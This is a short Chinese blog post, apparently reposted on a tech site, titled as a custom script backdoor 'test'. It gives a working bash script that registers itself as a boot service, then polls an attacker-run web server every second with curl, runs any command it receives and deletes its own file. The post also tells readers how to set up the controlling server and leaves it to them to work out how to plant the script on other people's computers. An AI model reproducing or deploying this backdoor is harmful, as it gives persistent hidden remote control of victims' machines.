自定义脚本后门(测试)

来源:互联网 发布:淘宝怎么手机实名认证 编辑:程序博客网 时间:2024/05/21 09:57

代码很简洁,很容易理解

先搭建一个web服务器用来接收数据,脚本实在其他电脑上执行的,怎么将代码放到其电脑自己思考


shell脚本


#!/bin/bash#将脚本加载的开机启动项starts(){echo -e '#!/bin/sh\n#chkconfig: 2345 80 90\n#description:cmd\ncmd &' > /etc/rc.d/init.d/cmdchmod u+x /etc/rc.d/init.d/cmdchkconfig --add cmdchkconfig cmd on}#安装脚本install(){echo -e 'while true ;do\nip=10.1.1.11\ncmd=`curl http://$ip/cmd/cmd` \nif [[ -n "$cmd" ]];then \n$cmd  &>>/dev/null \nfi \nsleep 1 \ndone \n' > /usr/bin/cmdchmod u+x /usr/bin/cmd}installstartsrm -f $0echo install successful



操作如下:

先搭建一个web服务器,我选择的是 xampp 软件,安装后打开

blob.png

打开安装路径,我的默认路径

blob.png

先创建一个cmd文件夹,在cmd文件夹下创建一个cmd文本文件,没有后缀

然后把想写的命令写到里面,比如 wall "hello ,hurt each other"

blob.png

然后安装脚本的电脑(脚本安装后重启生效)会提示

blob.png

当把cmd文件内容清空后,就不会执行什么命令了

当然一些简单的命令可以执行,等我以后学到的更多,会充分优化增加此类脚本功能


0 0